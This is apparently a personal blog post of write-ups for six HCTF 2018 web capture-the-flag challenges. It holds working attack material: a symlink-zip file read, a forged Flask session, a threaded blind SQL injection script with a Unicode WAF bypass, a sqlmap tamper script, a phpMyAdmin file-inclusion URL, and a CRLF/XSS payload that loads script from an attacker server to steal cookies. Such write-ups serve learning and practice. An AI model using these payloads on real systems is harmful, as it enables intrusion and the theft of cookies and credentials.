N0rth3ty's Blog.

HCTF WEB部分题解

字数统计: 2.2k阅读时长: 11 min
2018/11/12 Share

hide and seek

这个题上来看到cookie感觉有点像jwt,然后又要admin登陆
再加上文件上传的点提示有个secret,大概猜到是要读一个key伪造cookie登陆
zip后台是解析了的,所以一开始跑偏了,想到Zip Slip目录遍历漏洞
这里我没法判断是个什么语言的站(tcl
后来老大告知可以用软链接

1
2
ln -s /ect/passwd test
zip -y test.zip test

先知上有篇文章 https://xz.aliyun.com/t/2589
测试了一下确实可以读到东西
image
然后又不知道读什么,就卡住了

然后看一下配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
user  nginx;
worker_processes auto;

error_log /var/log/nginx/error.log warn;
pid /var/run/nginx.pid;


events {
worker_connections 1024;
}


http {
include /etc/nginx/mime.types;
default_type application/octet-stream;

log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';

access_log /var/log/nginx/access.log main;

sendfile on;
#tcp_nopush on;

keepalive_timeout 65;

#gzip on;

include /etc/nginx/conf.d/*.conf;
}
daemon off;

找了半天也没找到server
赛后看了wp发现知识面还是太窄了
这题我思路蛮清晰的,都知道大概要干嘛,但是面对黑盒真的不知道要读什么(要补一手开发
/proc/self/environ能读到uwsgi配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgi
SUPERVISOR_GROUP_NAME=uwsgi
HOSTNAME=323a960bcc1a
SHLVL=0
PYTHON_PIP_VERSION=18.1
HOME=/root
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
NGINX_MAX_UPLOAD=0
UWSGI_PROCESSES=16
STATIC_URL=/static
UWSGI_CHEAPER=2
NGINX_VERSION=1.13.12-1~stretch
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NJS_VERSION=1.13.12.0.2.0-1~stretch
LANG=C.UTF-8
SUPERVISOR_ENABLED=1
PYTHON_VERSION=3.6.6
NGINX_WORKER_PROCESSES=auto
SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock
SUPERVISOR_PROCESS_NAME=uwsgi
LISTEN_PORT=80STATIC_INDEX=0
PWD=/app/hard_t0_guess_n9f5a95b5ku9fg
STATIC_PATH=/app/static
PYTHONPATH=/app
UWSGI_RELOADS

发现web目录,
接着读/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
发现主文件/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
然后可以读到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)

if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
username=request.form['username']

password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'


try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None

os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)


if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)

因为思路很清晰,就是要伪造admin登陆(开始还猜会不会是jwt
所以拿到源码就很容易了,这里是一个伪随机数
种子是uuid.getnode(),也就是机器的mac地址
mac地址读/sys/class/net/eth0/address后转10进制即可
知道了secret_key伪造session即可成功登录拿到flag
得到secret_key=11.935137566861131
尝试伪造session

1
eyJ1c2VybmFtZSI6ImFkbWluIn0.Dskfqg.pA9vis7kXInrrctifopdPNUOQOk

admin

change页面里有个github地址,做题还是要细心啊
拖下来审计一下

1
2
3
4
5
6
7
8
9
10
11
12
13
@app.route('/change', methods = ['GET', 'POST'])
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)

问题主要出在这里name = strlower(session['name'])
这个函数在处理unicode字符时有一些问题
比如ᴬ会被转换为A,注册一个ᴬdmin用户,登录后为Admin,再修改密码则越权修改了admin的密码,登录看到flag

另外赛后看到还有条件竞争的解法,先放放…

kzone

访问会跳转官网
扫目录康康
可以看到www.zip有源码泄露,下载下来审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
if (!defined('IN_CRONLITE')) exit();
$islogin = 0;
if (isset($_COOKIE["islogin"])) {
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
}
}

问题出在json_decode会解编码,而过waf是在编码之前
所以我们可以用Unicode编码来过waf
上一个老大的板子(其实我康出来这是在晴晴的板子上改的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import hashlib
import requests
import re
import random
import time
import threading
import binascii
from urllib import parse

def md5(msg):
return hashlib.md5(msg.encode()).hexdigest()

url = "http://kzone.2018.hctf.io/admin/login.php"

def fuck(payload):
url1 = url
payload = payload.replace(' ', '/**/')
payload = payload.replace('if', '\\u0069f')
payload = payload.replace('or', 'o\\u0072')
payload = payload.replace('substr', 'su\\u0062str')
payload = payload.replace('>', '\\u003e')
payload = payload.replace('=', '\\u003d')
payload = '{"admin_user":"%s"}' % payload
payload = parse.quote(payload)
cookies = {
"islogin": "1",
"login_data": payload
}
return requests.get(url1, cookies=cookies).headers['Set-Cookie']


def two(ind, cont, pos, result):
print("[pos %d start]" % pos)
payload = "' || if((ord(substr(({}),{},1)))>{},1,0)='1"
l = 33
r = 127
while l < r:
mid = (l + r) >> 1
text = fuck(payload.format(cont, pos, mid))
if len(text)==181: # True
l = mid + 1
else:
r = mid
result[pos] = chr(l)
print("[pos %d end]" % pos)


def sqli(cont):
print("[Start]")
sz = 60
res = [''] * (sz + 1)
t = [None] * sz
for i in range(1, sz + 1):
if i > sz:
t[i % sz].join()
t[i % sz] = threading.Thread(target=two, args=(i, cont, i, res))
t[i % sz].start()
for th in t:
th.join()
return "".join(res)

# db = sqli("SELECT database()")
# print(db)
# hctf_kouzone

# tables = sqli("select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='hctf_kouzone'")
# print(tables)
# F1444g,fish_admin,fish_ip,fish_user,fish_user_fake

# cols = sqli("select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='F1444g'")
# print(cols)
# F1a9

flag = sqli("select group_concat(F1a9) from F1444g")
print(flag)
# hctf{4526a8cbd741b3f790f95ad32c2514b9}

然后看到了一个写tamper的姿势,一并记录下来
https://xz.aliyun.com/t/3245#toc-4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
data = '''{"admin_user":"%s"};'''
payload = payload.lower()

payload = payload.replace('u', '\u0075')
payload = payload.replace('o', '\u006f')
payload = payload.replace('i', '\u0069')
payload = payload.replace('\'', '\u0027')
payload = payload.replace('\"', '\u0022')
payload = payload.replace(' ', '\u0020')
payload = payload.replace('s', '\u0073')
payload = payload.replace('#', '\u0023')
payload = payload.replace('>', '\u003e')
payload = payload.replace('<', '\u003c')
payload = payload.replace('-', '\u002d')
payload = payload.replace('=', '\u003d')
payload = payload.replace('f1a9', 'F1a9')
payload = payload.replace('f1', 'F1')
return data % payload

无奈最后没能用tamper复现成功
还看到直接硬过了waf的神仙
用mysql.innodb_table_stats来查数据库名表名这种骚操作,然后用*代替列,想起来上次护网杯那道题,好像也能这么注
不复现了,最近比赛太多

Warmup

签到题
F12有个source.php
简单搜索下

1
CVE-2018-12613 PhpMyadmin后台文件包含漏洞

直接上payload
http://warmup.2018.hctf.io/index.php?file=hint.php?/../../../../../../../../ffffllllaaaagggg

bottle

p总博客上有(好吧我没认真看过
https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html
这题好像开始要绕csp,但是后来好像有点问题就改题了
只需要绕过302就行了
绕302,利用xss打cookie
payload

1
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/%0d%0aContent-Length:%2065%0d%0a%0d%0a%3Cscript%20src=http://yourvps/cookie.js%3E%3C/script%3E

game

/user.php?order=password该接口的order参数可指定当前页面输出的用户信息的排序字段。
大概就是order by password就行,根据返回的用户顺序去猜admin的密码
然后写脚本就成了
(放一个叶姐姐的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
import random
import re
import requests
import string


VALID_IDENT = string.ascii_letters + string.digits
PASSLEN = 32
CRTAB6 = '\n' + '\t' * 6
CRTAB7 = '<td>\n' + '\t' * 7
ADMIN = f'{CRTAB7}1{CRTAB6}</td>{CRTAB6}{CRTAB7}admin{CRTAB6}</td>'


def randstr(length, charset=VALID_IDENT):
return ''.join([random.choice(charset) for n in range(length)])


def getuser():
return 'xris_' + randstr(32)


def register(username, password):
URL = 'http://game.2018.hctf.io/web2/action.php?action=reg'
OK = "<script>alert('success');location.href='index.html';</script>"
form = {
'username': username,
'password': password,
'sex': 1,
'submit': 'submit'
}
resp = requests.post(URL, data=form)
if resp.text != OK:
raise Exception(f'register failed with {resp.text}, {password}')


def login(username, password):
URL = 'http://game.2018.hctf.io/web2/action.php?action=login'
OK = "<script>alert('success');location.href='user.php';</script>"
sess = requests.Session()
form = {
'username': username,
'password': password,
'submit': 'submit',
}
resp = sess.post(URL, data=form)
if resp.text != OK:
raise Exception(f'login failed with {resp.text}, {password}')
return sess


def to_bytes(value, length):
retn = bytearray()
while value:
retn.append(value % 128)
value //= 128
retn.reverse()
return retn.ljust(length).decode()


def check(m):
URL = 'http://game.2018.hctf.io/web2/user.php?order=password'
username = getuser()
password = to_bytes(m, PASSLEN)
register(username, password)
sess = login(username, password)
resp = sess.get(URL)
adloc = resp.text.find(ADMIN)
mytag = f'{CRTAB7}{username}{CRTAB6}'
myloc = resp.text.find(mytag)
if adloc == -1 or myloc == -1:
# Should never happen
raise Exception('not found with {password}')
return myloc < adloc


def bsearch(lower, upper, check):
bound = [lower, upper]
while bound[0] + 1 != bound[1]:
m = bound[0] + bound[1] >> 1
bound[check(m)] = m
print(repr(to_bytes(m, 0)))
return bound[0]


def main():
print(bsearch(0, 128 ** PASSLEN, check))


if __name__ == '__main__':
main()

# DSA8&&!@#$%^&D1NGY1AS3DJA

order 参数可以传入 password, 二分 admin 密码.
虽然 MySQL 里比较运算符不区分大小写 (而且不能用 order by binary password 或 order by ascii(password), 被禁了). 不过最后输入 admin 密码的时候也不区分大小写.

CATALOG
  1. 1. hide and seek
  2. 2. admin
  3. 3. kzone
  4. 4. Warmup
  5. 5. bottle
  6. 6. game